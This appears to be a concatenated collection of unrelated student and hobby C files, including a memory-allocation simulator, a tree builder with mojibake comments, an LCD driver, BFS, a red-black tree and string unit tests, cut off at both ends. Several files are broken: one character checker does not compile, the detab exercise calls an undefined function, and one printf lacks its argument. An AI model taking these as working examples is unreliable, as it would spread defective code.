{ // store value of the end of spot in memory of last // process checked curLoc = 0; // loop from beginning of memory to indexLastInserted for (int i = 0; i <= indexLastInserted; i++) { // if there is space for the process... if (processes[i][0] - curLoc >= processSize) { // make space for the new process for (int j = numProcesses; j > i; j--) { strcpy(memory[j], memory[j-1]); processes[j][0] = processes[j-1][0]; processes[j][1] = processes[j-1][1]; } // Update the curLoc to the end of the current process //curLoc = processes[i][0] + processes[i][1]; // insert the new process strcpy(memory[i], processName); processes[i][0] = curLoc; processes[i][1] = processSize; // increment number of processes numProcesses++; // update the index last inserted indexLastInserted = i; // output success printf("ALLOCATED %s %lu\n", processName, curLoc); processAssigned = 1; break; } // Update the curLoc value to the end of the current process curLoc = processes[i][0] + processes[i][1]; } } if (processAssigned == 0) { printf("FAIL REQUEST %s %lu bytes\n", processName, processSize/8); } } }// end of NEXT FIT ///////////////////////////////////////////////// // BUDDY SYSTEM ALGORITHM // // Partition memory into halves until just large // enough to store process to be inserted. Read // the readme for more in-depth description. ///////////////////////////////////////////////// else if (algorithmType == 3) { // Calculate the smallest possible block of memory // that will still fit the process. Blocks must be // of the form blockSize = sizeOfMemory / 2^n where // n is a real number. unsigned long blockSize = sizeOfMemory; while (blockSize >= processSize) { blockSize /= 2; } blockSize *= 2; // the total number of blocks that could fit in memory unsigned long numBlocks = sizeOfMemory / blockSize; // the index of the current block being tested. The memory is // being treated like it is divided into blocks of size blockSize // and all these blocks are treated like an array. unsigned long curBlockIndex = 0; // index to insert the process into the memory arrays int processIndex = -1; // check before processes and between processes for (int i = 0; i < numProcesses; i++) { // if there is room for a 'block' of size blockSize before // process i, set processIndex to i to have the new process // inserted at this index if (processes[i][0] >= ((curBlockIndex+1) * blockSize)) { processIndex = i; break; } else { // find the index of the next block available after process i while (curBlockIndex * blockSize < processes[i][0] + processes[i][1]) { curBlockIndex++; } } } // check after processes if (curBlockIndex < numBlocks && processIndex == -1) { processIndex = numProcesses; } // if the processIndex variable was set above, insert the process // at that index if (processIndex != -1) { // Make space for the new process for (int i = numProcesses; i > processIndex; i--) { processes[i][0] = processes[i-1][0]; processes[i][1] = processes[i-1][1]; strcpy(memory[i], memory[i-1]); } // place process at position curBlockIndex * blockSize // and index processIndex in the array strcpy(memory[processIndex], processName); processes[processIndex][0] = curBlockIndex * blockSize; processes[processIndex][1] = processSize; // increment the number of processes numProcesses++; // Output success printf("Allocated %s %lu\n", processName, curBlockIndex * blockSize); } else { printf("FAIL REQUEST %s %lu bytes\n", processName, processSize/8); } }// end of buddy system }// end of if( sscanf(args[2], "%ld", &processSize) == 1) }// end of if (args[1] && args[2]) { } // end of REQUEST command ///////////////////////////////////////////////////// // RELEASE COMMAND // args[0] = "RELEASE" // args[1] = processName // // Removes process from args[1] from memory arrays ///////////////////////////////////////////////////// else if (command == 1) { char processName[MAX_PROCESS_NAME_SIZE]; // check if args[1] exists (will be obtained from args[1]) if (args[1]) { // assign process name using args[1] strcpy(processName, args[1]); // Output command //printf("Release process %s\n", processName); // store the index in memory of the process // leave as -1 if not found int processIndex = -1; // loop through memory to find the process // and assign processIndex to index of the process for (int i = 0; i < numProcesses; i++) { if (strcmp(processName, memory[i]) == 0) { processIndex = i; break; } } // release the process if found if (processIndex != -1) { // FOR NEXT FIT ALGORITHM: // Modify reference to the index of the last process inserted // for when next fit algorithm is used if (algorithmType == 2) { if (indexLastInserted > processIndex) { indexLastInserted--; } else if (indexLastInserted == processIndex && indexLastInserted > 0) { indexLastInserted--; } } unsigned long processAddress = processes[processIndex][0]; unsigned long processSize = processes[processIndex][1]; // move elements in memory arrays down one index for (int i = processIndex+1; i < numProcesses; i++) { strcpy(memory[i-1], memory[i]); processes[i-1][0] = processes[i][0]; processes[i-1][1] = processes[i][1]; } // decrement number of processes numProcesses = numProcesses - 1; // output success printf("FREE %s %lu bytes\n", processName, processSize/8); } // Output if process not found else { printf("FAIL RELEASE %s\n", processName); } } } //////////////////////////////////////////////////////////////// // LIST AVAILABLE COMMAND // args[0] = "LIST" // args[1] = "AVAILABLE" // // List the available portions of memory that are not currently // occupied by processes // // Output is in the following format: // (size of empty space, address of empty space) (...) ... //////////////////////////////////////////////////////////////// else if (command == 2) { printf("Available space:\n"); int isFull = 1; // store the end location of the last process // inspected in the loop below. unsigned long curLoc = 0; // Loop through all processes to look for space // between them. for (int i = 0; i < numProcesses; i++) { // if there is space between the last process // inspected and current process, output the // space. if (curLoc < processes[i][0]) { unsigned long emptySize = processes[i][0] - curLoc; printf("(%lu bytes, %lu) ", emptySize/8, curLoc); isFull = 0; } // update curLoc to equal the location at the // end of the process curLoc = processes[i][0] + processes[i][1]; } //Output space after processes if (curLoc < sizeOfMemory) { unsigned long emptySize = sizeOfMemory - curLoc; printf("(%lu bytes, %lu)", emptySize/8, curLoc); isFull = 0; } if (isFull == 1) { printf("FULL"); } printf("\n"); } //////////////////////////////////////////////////////////// // LIST ASSIGNED COMMAND // args[0] = "LIST" // args[1] = "ASSIGNED" // // Outputs all the processes currently stored in memory // along with the size and location of the process. // // Output is in the following format: // (Process name, process size, process address) (...) ... //////////////////////////////////////////////////////////// else if (command == 3) { printf("Processes assigned in memory:\n"); // Output (processName, size, address) of all // processes stored in memory for (int i = 0; i < numProcesses; i++) { printf("(%s, %lu bytes, %lu) ", memory[i], processes[i][1]/8, processes[i][0]); } if (numProcesses == 0) { printf("NONE"); } printf("\n"); } /////////////////////////////////////////////////////////// // FIND COMMAND // args[0] = "FIND" // args[1] = process name // // Searches the memory for the first occurrence of a process // with the specified name. If found, will output the name, // size, and address of the process. // // Output is in the following format: // (Process name, process size, process address) /////////////////////////////////////////////////////////// else if (command == 4) { // Name of the process (will be obtained from args[1] char processName[MAX_PROCESS_NAME_SIZE]; //check if args[1] exists if (args[1]) { // assign processName from args[1] strcpy(processName, args[1]); // Output command printf("Finding process %s...\n"); // store the index in memory of the process // leave as -1 if not found int processIndex = -1; // loop through memory to find the process // and assign processIndex to index of the process for (int i = 0; i < numProcesses; i++) { if (strcmp(processName, memory[i]) == 0) { processIndex = i; break; } } // is process found, // Output (processName, size, process address) if (processIndex != -1) { printf("(%s, %lu bytes, %lu)\n", processName, processes[processIndex][1]/8, processes[processIndex][0]); } // Output if process not found else { printf("Process not found\n"); } } }// end of FIND command /////////////////////////////////////////////////////////// // ERROR // // If an error occurred while trying to decipher the line, // output to console. Usually this is caused by a spelling // error. /////////////////////////////////////////////////////////// else if (command == -1) { printf("Error while reading line in file\n"); } } // end of if (fgets(line, BUFFER_SIZE, fp)) { printf("\n"); } // end of input (EOF reached) printf("End of file reached. Removing processes...\n"); //End all processes for (int i = 0; i < numProcesses; i++) { processes[i][0] = 0; processes[i][1] = 0; strcpy(memory[i], ""); } numProcesses = 0; printf("Processes removed\n"); // close the file fclose(fp); return 0; }
C
/* ����������ָ�뷽ʽ�ĺ��ӱ�ʾ���洢�ṹ���Ա�дһ������tree Ct(char s[])�� ����������������ű�ʾ�ַ���s���������Ĵ洢�ṹ�����磬��Ҫ�����̲�ͼ6.4��ʾ������ Ӧ����A��B��E��F��,C,D��G��I��J��K��,H��������˵����tree.h�ж���ij���m��ʾ������ ��ȣ�����ݽ�������Ҫ�����޸�m��ֵ�� */ #include "tree.h" /*�뽫���������������������в���*/ tree Ct(char s[MAXLEN]) { int length; tree root; int i,j,top; tree stack[MAXLEN],temp = NULL,p; int childSeq[MAXLEN]; /*��ڼ�������*/ top = -1; length = strlen (s); for (i = 0;i < length;i++) { if (s[i] == ',') { continue; } else if (s[i] == '(') { stack[++top] = temp; childSeq[top] = 0; } else if (s[i] == ')') { top--; } else if (top != -1) { p = (tree)malloc (sizeof (node)); p->data= s[i]; for (j = 0;j < m;j++) { p->child[j] = NULL; } temp = p; stack[top]->child[childSeq[top]++] = temp; } else { root = (tree)malloc (sizeof (node)); root->data= s[i]; for (j = 0;j < m;j++) { root->child[j] = NULL; } temp = root; } } return root; } int main () { char s[MAXLEN]; tree root = NULL; printf ("�����������ű�ʾ������һ����:\n"); scanf ("%s",s); root = Ct(s); preorder(root); /*ǰ�������*/ return 0; }
C
#include "lcd.h" void lcd_sendCommand(char a) { RS = 0; // => RS = 0 _lcd_Port(a); EN = 1; // => E = 1 __delay_ms(4); EN = 0; // => E = 0 } void lcd_clear() { lcd_sendCommand(0); lcd_sendCommand(1); } void lcd_setPosition(unsigned char x, unsigned char y) { unsigned char temp, i, j; if(y == 1) { temp = 0x80 + x - 1; i = temp>>4; j = temp & 0x0F; lcd_sendCommand(i); lcd_sendCommand(j); } else if(y == 2) { temp = 0xC0 + x - 1; i = temp>>4; j = temp & 0x0F; lcd_sendCommand(i); lcd_sendCommand(j); } } void lcd_init() { _lcd_Port(0x00); __delay_ms(20); lcd_sendCommand(0x03); __delay_ms(5); lcd_sendCommand(0x03); __delay_ms(11); lcd_sendCommand(0x03); ///////////////////////////////////////////////////// lcd_sendCommand(0x02); lcd_sendCommand(0x02); lcd_sendCommand(0x08); lcd_sendCommand(0x00); lcd_sendCommand(0x0C); lcd_sendCommand(0x00); lcd_sendCommand(0x06); } void lcd_sendChar(const char a) { char temp,y; temp = a&0x0F; y = a&0xF0; RS = 1; // => RS = 1 _lcd_Port(y>>4); //Data transfer EN = 1; __delay_us(40); EN = 0; _lcd_Port(temp); EN = 1; __delay_us(40); EN = 0; } void lcd_sendString(const char * a) { int i; for(i=0;a[i]!='\0';i++) lcd_sendChar(a[i]); } void lcd_sendStringToPos(unsigned char x, unsigned char y, const char * charString) { lcd_setPosition(x, y); lcd_sendString(charString); } void lcd_sendInt(int number) { char displayString[DIGIT_BUFFER]; itoa(displayString, number, 10); lcd_sendString(displayString); } void lcd_sendIntToPos(unsigned char x,unsigned char y, int number) { lcd_setPosition(x, y); lcd_sendInt(number); } void lcd_sendFloat(float number) { char * buffer; int status; buffer = ftoa(number, &status); lcd_sendString(buffer); } void lcd_sendFloatToPos(unsigned char x, unsigned char y, float number) { lcd_setPosition(x, y); lcd_sendFloat(number); } void lcd_sendUInt(unsigned int number) { char displayString[DIGIT_BUFFER]; ultoa(displayString, number, 10); lcd_sendString(displayString); } void lcd_sendUIntToPos(unsigned char x, unsigned char y, unsigned int number) { lcd_setPosition(x, y); lcd_sendUInt(number); } void lcd_shiftRight() { lcd_sendCommand(0x01); lcd_sendCommand(0x0C); } void lcd_shiftLeft() { lcd_sendCommand(0x01); lcd_sendCommand(0x08); } void _lcd_Port(char a) { if(a & 1) D4 = 1; else D4 = 0; if(a & 2) D5 = 1; else D5 = 0; if(a & 4) D6 = 1; else D6 = 0; if(a & 8) D7 = 1; else D7 = 0; }
C
#include<stdio.h> void main() { char a; printf("enter the character"); scanf("%c",c); if(c=(a>='a' && a<=z)&&(a>=A && a<=z) { printf("character is alphabet"); } else { printf("the character is consonaunt"); } }
C
#include<stdio.h> #include<stdlib.h> struct queue{ int size,front,rear; int *Q; }; void create(struct queue *q,int size){ q->size=size; q->front=q->rear=-1; q->Q=(int *)malloc(q->size*sizeof(int)); } void enqueue(struct queue *q,int data){ if(q->rear==q->size-1){ return; } else{ q->rear++; q->Q[q->rear]=data; } } int dequeue(struct queue *q){ int x=-1; if(q->front==q->rear){ return x; } else{ q->front++; x=q->Q[q->front]; } return x; } int isEmpty(struct queue q){ return q.front==q.rear; } void find(int parent[],int start,int end){ int x; printf("%d ",start); x=parent[start]; while(x!=end){ printf("%d ",x); x=parent[x]; } printf("%d ",x); } void bfs(int G[][10],int start,int end,int V){ struct queue q; create(&q,100); int visited[10]={}; int parent[10]={}; printf("%d ",start); enqueue(&q,start); visited[start]=1; while(!isEmpty(q)){ int u=dequeue(&q); for(int i=0;i<V;i++){ if(G[u][i]==1 && visited[i]==0){ printf("%d ",i); enqueue(&q,i); visited[i]=1; parent[i]=u; } } } printf("\n"); for(int i=1;i<=V;i++){ printf("%d ",parent[i]); } printf("\n"); find(parent,end,start); } void addedge(int G[10][10],int i,int j){ G[i][j]=1; } int main(){ int V=8; int G[10][10]={}; addedge(G, 0, 1); addedge(G, 0, 3); addedge(G, 1, 2); addedge(G, 3, 4); addedge(G, 3, 7); addedge(G, 4, 5); addedge(G, 4, 6); addedge(G, 4, 7); addedge(G, 5, 6); addedge(G, 6, 7); for(int i=0;i<V;i++){ for(int j=0;j<V;j++){ printf("%d ",G[i][j]); } printf("\n"); } bfs(G,0,7,V); return 0; }
C
//Exercise 1-20. Write a program detab that replaces tabs in the input with the proper number of blanks to space to the next tab stop. Assume a fixed set of tab stops, say every n columns. Should n be a variable or a symbolic parameter? include <stdio.h> #define MAXLINE 1000 /* maximum input line length */ #define TABSIZE 4 int getlines(char line[], int maxline); int insertTabs(char s[], int begin); /* print the input line which length is larger than 80*/ int main() { int len; char line[MAXLINE]; while ((len = getlines(line, MAXLINE)) > 0) { printf("lenth is %d \n", len); reverse(line, len); printf("%s", line); } /* current input line */ return 0; } /* getlines: read a line into s, return length */ int getlines(char s[], int lim) { int c = 0, i; for (i = 0; i < lim - 1 && (c = getchar()) != EOF && c != '\n'; ++i) { if (c == '\t') { i = insertTabs(s, i); } else { s[i] = c; } } if (c == '\n') { s[i] = c; ++i; } s[i] = '\0'; return i; } int insertTabs(char s[], int begin) { int i; for (i = 0; i < TABSIZE; i++) s[begin + i] = ' '; return begin + i - 1; }
C
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* ft_atoi.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: mtrotsen <mtrotsen@student.unit.ua> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2018/11/13 11:52:21 by mtrotsen #+# #+# */ /* Updated: 2018/11/14 16:00:47 by mtrotsen ### ########.fr */ /* */ /* ************************************************************************** */ #include "libftprintf.h" int ft_atoi(const char *str) { long long int neg; long long int res; int i; neg = 1; res = 0; i = 0; while (str[i] == ' ' || str[i] == '\t' || str[i] == '\n' || str[i] == '\v' || str[i] == '\r' || str[i] == '\f') i++; if (str[i] == '-' || str[i] == '+') { if (str[i] == '-') neg = -1; i++; } while (str[i]) { if (str[i] < '0' || '9' < str[i]) return (res * neg); else res = (res * 10) + (long long int)(str[i] - '0'); i++; } return (res * neg); } void ft_putstr(char const *s) { if (!s) return ; while (*s != '\0') write(1, s++, 1); } void ft_putnbr(int n, t_args *args) { if (n == -2147483648) { ft_putstr("-2147483648"); args->endin = args->endin + 11; } else if (n < 0) { ft_putchar('-'); ft_putnbr(-n, args); args->endin++; } else if (n >= 10) { ft_putnbr((n / 10), args); ft_putchar(n % 10 + '0'); args->endin++; } else { ft_putchar(n + '0'); args->endin++; } } static int length(long n) { int l; l = 0; if (n == 0) l++; if (n < 0) { n = n * -1; l++; } while (n > 0) { n = n / 10; l++; } return (l); } char *ft_itoa(int n) { char *str; long nb; int i; nb = n; i = length(n); if ((str = malloc(i + 1)) == NULL) return (NULL); str[i] = '\0'; if (nb == 0) { str[0] = '0'; return (str); } if (nb < 0) { str[0] = '-'; nb = nb * -1; } str[--i] = (nb % 10) + '0'; while (nb /= 10) { str[--i] = (nb % 10) + '0'; } return (str); }
C
#include "header.h" int parser(FILE *fp, top_node *head, int vertices) { int counterNum = 0; // counter that counts the number of good inputs int i; int valid = 0; // checks for good input (flag) int characterPos = 0; // keeps track of the position when reading character by character int firstPos = 0; char* currentInteger = malloc(sizeof(char) * BUFFER); // array used to convert to ints char* firstInteger = malloc(sizeof(char) * BUFFER); // char charByChar;// holds the char as we parse through file char by char int temp1 = 0; int temp2 = 0; // (3,1) -> (temp1,temp2) the format of how temp1 and temp2 are stored int count = 0; // counter used to find the correct spot on the adjacency list to add the node top_node *current = NULL; node *find_end = NULL; int flag = 0; // a flag when adding a number to the adjacency list, will turn to 0 if the number already exists do { charByChar = fgetc(fp); if (charByChar == ' ' || charByChar == '\t' || charByChar == '\n') { // checks for a space, tab, or new line in order to start checking to see if the input is valid currentInteger[characterPos] = '\0'; characterPos = 0; valid = 1; firstPos = 0; temp1 = 0; temp2 = 0; // Parses through the the sub string of the input to see if it is a valid input. It will check to make sure the input starts with a ( and then contains a number followed by // a , and a second number, ending with a ). If the parser finds that any of these conditions are not true, it sets the valid flag equal to 0 and the substring is not added // to the adjacency list. If the substring is valid, it will add the second number to the adjacency list at the vertex which is equal to the first number. for (i=0; i < strlen(currentInteger); i++) { if (i == 0 && currentInteger[i] != '(') { valid = 0; break; } if (i != 0 && !isdigit(currentInteger[i]) && currentInteger[i] != ',' && currentInteger[i] != ')') { valid = 0; break; } else { if (isdigit(currentInteger[i])){ firstInteger[firstPos] = currentInteger[i]; firstPos++; } } if (currentInteger[i] == ',') { firstInteger[firstPos] = '\0'; //printf("TEMP 1 CHARACTER STRING IS %s\n", firstInteger); temp1 = (int)strtol(firstInteger, NULL, 10); //printf("TEMP 1 INTEGER IS %d\n", temp1); if (temp1 < 1 || temp1 > vertices) { valid = 0; break; } firstPos = 0; i++; while (currentInteger[i] != '\0') { if (i != 0 && !isdigit(currentInteger[i]) && currentInteger[i] != ')') { valid = 0; break; } else { if (isdigit(currentInteger[i])) { firstInteger[firstPos] = currentInteger[i]; firstPos++; } } if (currentInteger[i] == ')') { firstInteger[firstPos] = '\0'; //printf("TEMP 2 CHARACTER STRING IS %s\n", firstInteger); temp2 = (int)strtol(firstInteger, NULL, 10); //printf("TEMP 2 INTEGER IS %d\n", temp2); if (temp2 < 1 || temp2 > vertices) { valid = 0; break; } break; } i++; } break; } } // checks to make sure the substring isn't empty if (strlen(currentInteger) < 1) { valid = 0; } if (valid) { // after a valid edge is found, add the edge to the correct adjacency list location counterNum++; flag = 1; current = head; // create pointer to add node count = 1; while (count != temp1) { current = current->next; count++; } // Then find the end of the right list on that node with a new pointer if (current->right == NULL) { current->right = create_Adj_node(temp2); } else { find_end = current->right; if (find_end->val == temp2) { flag = 0; } while (find_end->right != NULL) { find_end = find_end->right; if (find_end->val == temp2) { flag = 0; } } if (flag) { find_end->right = create_Adj_node(temp2); } } } } else { // if the value isn't a tab, space, or new line keep parsing through the input currentInteger[characterPos] = charByChar; characterPos++; } } while(charByChar != EOF); // Free all memory free(currentInteger); free(firstInteger); // if there are no valid inputs in the file if(counterNum == 0) { printf("Size of input is 0\n"); exit(0); } return counterNum; }
C
#define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ struct edac_device_ctl_info {int nr_instances; } ; /* Variables and functions */ int /*<<< orphan*/ edac_dbg (int /*<<< orphan*/ ,char*) ; int edac_device_create_instance (struct edac_device_ctl_info*,int) ; int /*<<< orphan*/ edac_device_delete_instance (struct edac_device_ctl_info*,int) ; __attribute__((used)) static int edac_device_create_instances(struct edac_device_ctl_info *edac_dev) { int i, j; int err; edac_dbg(0, "\n"); /* iterate over creation of the instances */ for (i = 0; i < edac_dev->nr_instances; i++) { err = edac_device_create_instance(edac_dev, i); if (err) { /* unwind previous instances on error */ for (j = 0; j < i; j++) edac_device_delete_instance(edac_dev, j); return err; } } return 0; }
C
#include "holberton.h" #include <stdlib.h> /** * free_grid - free an created 2D array * @grid: 2D array of type int * @height: int type * Return: void */ void free_grid(int **grid, int height) { int i; /* loop through array */ for (i = 0; i <= height - 1; i++) /* free allocated memory */ free(grid[i]); /* fee entire array */ free(grid); }
C
#include <stdio.h> int main(int argc, const char * argv[]) { int i = 0; while (argc-- > 0) { printf("%s ", argv[i]); i++; } }
C
#include <stdio.h> #include <stdlib.h> /* * Duz Ucgen: * * n=1 * i b y * 0 0 1 * * n=2 * 0 1 1 * *** 1 0 3 * * n=3 * 0 2 1 * *** 1 1 3 * ***** 2 0 5 * * n=4 * 0 3 1 * *** 1 2 3 * ***** 2 1 5 * ******* 3 0 7 * * n=5 * 0 4 1 * *** 1 3 3 * ***** 2 2 5 * ******* 3 1 7 * ********* 4 0 9 * * b=n-i-1 * y=2i+1 * *Ters Ucgen: * * n=1 * i b y * 0 0 1 * * n=2 *** 0 0 3 * * 1 1 1 * * n=3 ***** 0 0 5 * *** 1 1 3 * * 2 2 1 * * n=4 ******* 0 0 7 * ***** 1 1 5 * *** 2 2 3 * * 3 3 1 * * n=5 ********* 0 0 9 * ******* 1 1 7 * ***** 2 2 5 * *** 3 3 3 * * 4 4 1 * * b=i * y=2*(n-i)-1 */ /* * bas_satir * * int b= bosluk sayisi, int y= yildiz sayisi * * Ilk once bosluk ve ardindan yildiz sayisini basiyor * * Ornek: * * b=2 y=1 * basilan: * * * b=1 y=3 * basilan: * *** * *b=0 y=5 * basilan: * ***** * */ /* * bas_karakter_tekrar * Parametreler char c, int n * char c, n defa basiyor * ornekler: * c= '*', n = 5 * basilan: ***** * c = 'a', n = 3 * basilan: aaa * c= 'x', n = 6 * basilan: xxxxxx * c= 'm', n = 1 * basilan: m */ void bas_karakter_tekrar(char c,int n) { for (int i = 0 ; i < n ; i++) { printf("%c",c); } } void bas_satir(int b, int y){ bas_karakter_tekrar(' ',b); bas_karakter_tekrar('*',y); printf("\n"); } void ters_ucgen_bas(int n){ for(int i = 0 ; i < n-1 ; i++){ bas_satir(i,2*(n-i)-1); } } void duz_ucgen_bas(int n){ for(int i = 0 ; i < n ; i++){ bas_satir(n-i-1,2*i+1); } } void kum_saati_bas(int n){ ters_ucgen_bas(n); duz_ucgen_bas(n); } int main(){ int n; printf("Sayi girin:"); scanf("%d",&n); kum_saati_bas(n); return 0; }
C
/*********************************************************** * Author: Khoa Phan * Date Created: 07/04/17 * Last Modification Date: 07/09/17 * Filename: Q0.c * * Overview: * This program is a practice with pointers in C. * * * Input: * No user input. * * Output: * Prints out the address and value of the pointer, correctly * pass to the function. * * ************************************************************/ #include <stdio.h> #include <stdlib.h> void fooA(int* iptr) { /*Print the value pointed to by iptr*/ printf("Value of pointed iptr: %d\n", *iptr); /*Print the address pointed to by iptr*/ printf("Address of pointed iptr: %p\n", iptr); /*Print the address of iptr itself*/ printf("Address of iptr: %p\n", &iptr); } int main() { /*declare an integer x*/ int x = 19; /*print the address of x*/ printf("Address of X: %p\n", &x); /*Call fooA() with the address of x*/ fooA(&x); /*print the value of x*/ printf("Value of X: %i\n", x); return 0; }
C
#include <stdio.h> #include <stdlib.h> #include <string.h> #include "listas_legais.h" p_pilha cria_pilha () { p_pilha p = malloc (sizeof (Lista)); p->topo = NULL; return p; } int pilha_vazia(p_pilha pilha){ return (pilha->topo == NULL); } void empilhar(p_pilha pilha, p_no raiz_arvore){ p_lista novo = malloc(sizeof(No)); novo->raiz = raiz_arvore; novo->prox = pilha->topo; pilha->topo = novo; } //Funcao para desempilhar o ultimo no de arvore da stack //e devolver um p_no para ser usado na funcao operacao3 //controlar o fluxo do codigo na arvore p_no desempilhar(p_pilha pilha) { p_lista topo = pilha->topo; p_no raiz_p_arvore = topo->raiz; // essa variavel é retornada somente para usar no direcionamento da arvore na funcao procura triade pilha->topo = pilha->topo->prox; free(topo); return raiz_p_arvore; } //essa funcao serve para desempilhar a pilha na funcao destruir_pilha //a funcao desempilhar é uma funcao especifica para ser utilizada na funcao operacao3 pq retorna um p_no void desempilhar_pilha(p_pilha pilha){ p_lista topo = pilha->topo; pilha->topo = pilha->topo->prox; free(topo); } void destruir_pilha(p_pilha pilha){ while(!pilha_vazia(pilha)){ desempilhar_pilha(pilha); } free(pilha); } p_no criar_arvore(long long int x, p_no esq, p_no dir) { p_no r = malloc(sizeof(No)); r->chave = x; r->frequencia = 1; r->esq = esq; r->dir = dir; r->cor = PRETO; return r; } void destruir_arvore(p_no arvore){ if(arvore != NULL){ destruir_arvore(arvore->esq); destruir_arvore(arvore->dir); free(arvore); } } int ehVermelho(p_no x){ if (x == NULL) return 0; return x->cor == VERMELHO; } int ehPreto(p_no x){ if (x == NULL) return 1; return x->cor == PRETO; } p_no rotaciona_para_esquerda(p_no raiz) { p_no x = raiz->dir; raiz->dir = x->esq; x->esq = raiz; x->cor = raiz->cor; raiz->cor = VERMELHO; return x; } p_no rotaciona_para_direita(p_no raiz) { p_no x = raiz->esq; raiz->esq = x->dir; x->dir = raiz; x->cor = raiz->cor; raiz->cor = VERMELHO; return x; } void sobe_vermelho(p_no raiz) { raiz->cor = VERMELHO; raiz->esq->cor = PRETO; raiz->dir->cor = PRETO; } p_no inserir_rec(p_no raiz, long long int chave) { p_no novo; if (raiz == NULL) { novo = malloc(sizeof(No)); novo->esq = novo->dir = NULL; novo->chave = chave; novo->frequencia = 1; //caso o no n exista na arvore, inicializa com 1; novo->cor = VERMELHO; return novo; } //caso a chave ja exista na arvore, esse if é vdd e entao incrementa +1 na frequencia if (raiz->chave == chave){ raiz->frequencia++; return raiz; } if (chave < raiz->chave) raiz->esq = inserir_rec(raiz->esq, chave); else raiz->dir = inserir_rec(raiz->dir, chave); if (ehVermelho(raiz->dir) && ehPreto(raiz->esq)) raiz = rotaciona_para_esquerda(raiz); if (ehVermelho(raiz->esq) && ehVermelho(raiz->esq->esq)) raiz = rotaciona_para_direita(raiz); if (ehVermelho(raiz->esq) && ehVermelho(raiz->dir)) sobe_vermelho(raiz); return raiz; } //inserir tbm é usado na operacao1 p_no inserir(p_no raiz, long long int chave) { raiz = inserir_rec(raiz, chave); raiz->cor = PRETO; return raiz; } p_no buscar(p_no raiz, long long int chave){ while (raiz != NULL && chave != raiz->chave){ if (chave < raiz->chave) raiz = raiz->esq; else raiz = raiz->dir; } return raiz; } //operacao 2, recebe o no da arvore e retorna a quantidade de vezes que ele ja apareceu na lista int retorna_frequencia(p_no arvore){ return arvore? arvore->frequencia : 0; } //percorre a arvore toda e a cada elemento verifica se arvore->chave é > frequencia //se for verdade significa q esse elemento teria q ser removido para fazer a lista ser uma lista legal int operacao3(p_no arvore){ p_no arvore_aux = arvore; p_pilha p; p = cria_pilha(); int num_min_retirar = 0; while(arvore_aux != NULL || !pilha_vazia(p)){ while(arvore_aux != NULL){ empilhar(p, arvore_aux); arvore_aux = arvore_aux->esq; } //usa a funcao desempilhar q retorna um p_no e com isso conseguimos controlar o fluxo de acesso as raizes da arvore arvore_aux = desempilhar(p); //os blocos de if's a seguir tratam casos especificos para saber o numero minimo de elementos que devam ser retirados if(arvore_aux->chave > arvore_aux->frequencia || arvore_aux->frequencia > arvore_aux->chave ){ // caso onde a freq > 1 porem < chave, entao basta somar a frequencia como qtd de elementos a serem removidos if(arvore_aux->frequencia > 1 && arvore_aux->frequencia < arvore_aux->chave) num_min_retirar += arvore_aux->frequencia; // caso onde a freq > 1 e freq > chave, entao para saber qts elementos devem ser removidos, basta fazer a diferenca da freq - chave // pq saberemos quantas vezes o numero apareceu a mais do que seria necessario para lista ser legal else if (arvore_aux->frequencia > 1 && arvore_aux->frequencia > arvore_aux->chave) num_min_retirar += (arvore_aux->frequencia - arvore_aux->chave ); else num_min_retirar++; } arvore_aux = arvore_aux->dir; } destruir_pilha(p); return num_min_retirar; }
C
#include "function_pointers.h" #include <stdio.h> #include <stdlib.h> /** * array_iterator - function that executes a func param each ele of array * @array: array * @size: d * @action: funct name * Return: void */ void array_iterator(int *array, size_t size, void (*action)(int)) { unsigned int d; for (d = 0 ; d < size ; d++) { action(array[d]); } }
C
#include "unit_test.h" Status test_init_default_returns_nonNULL(char* buffer, int length){ MY_STRING hString = NULL; hString = my_string_init_default(); if(hString == NULL){ my_string_destroy(&hString); strncpy(buffer, "test_init_default_returns_nonNULL\n" "my_string_init_default returns NULL", length); return FAILURE; } else { my_string_destroy(&hString); strncpy(buffer, "\ttest_init_default_returns_nonNULL\n", length); return SUCCESS; } } Status test_get_size_on_init_default_returns_0(char* buffer, int length){ MY_STRING hString = NULL; Status status; hString = my_string_init_default(); if(my_string_get_size(hString) != 0){ status = FAILURE; printf("Expected a size of 0 but got %d\n", my_string_get_size(hString)); strncpy(buffer, "test_get_size_on_init_default_returns_0\n" "Did not receive 0 from get_size after init_default\n", length); } else { status = SUCCESS; strncpy(buffer, "test_get_size_on_init_default_returns_0\n" , length); } my_string_destroy(&hString); return status; } Status test_get_capacity_on_init_default_returns_7(char* buffer, int length){ MY_STRING hString = NULL; Status status; hString = my_string_init_default(); if(my_string_get_capacity(hString) != 7){ status = FAILURE; printf("Expected a size of 7 but got %d\n", my_string_get_capacity(hString)); strncpy(buffer, "test_get_capacity_on_init_default_returns_7\n" "Did not receive 7 from get_capacity after init_default\n", length); } else { status = SUCCESS; strncpy(buffer, "test_get_capacity_on_init_default_returns_7\n" , length); } my_string_destroy(&hString); return status; } Status test_get_capacity_on_my_string_init_c_string_returns_size_plus_one(char* buffer, int length){ MY_STRING hString = NULL; Status status; hString = my_string_init_c_string("test"); if(my_string_get_capacity(hString) != 5){ status = FAILURE; printf("Expected a size of 5 but got %d\n", my_string_get_capacity(hString)); strncpy(buffer, "test_get_capacity_on_my_string_init_c_string_returns_size_plus_one\n" "Did not receive 5 from get_capacity after init_c_string\n", length); } else { status = SUCCESS; strncpy(buffer, "test_get_capacity_on_my_string_init_c_string_returns_size_plus_one\n" , length); } my_string_destroy(&hString); return status; } Status test_get_size_on_init_c_string_returns_correctly(char* buffer, int length){ MY_STRING hString; Status status; hString = my_string_init_c_string("test"); if(my_string_get_size(hString) != 4){ status=FAILURE; printf("Expected a size of 4 but got %d\n", my_string_get_size(hString)); strncpy(buffer, "test_get_size_on_init_c_string_returns_correctly\n" "Did not receive 4 from get_size after init_c_string\n", length); } else { status = SUCCESS; strncpy(buffer, "test_get_size_on_init_c_string_returns_correctly\n", length); } my_string_destroy(&hString); return status; } Status test_compare_left_string_shorter(char* buffer, int length){ MY_STRING lString; MY_STRING rString; lString = my_string_init_c_string("aaaaa"); rString = my_string_init_c_string("bbbbb"); Status status; if(my_string_compare(lString, rString) < 0){ status = 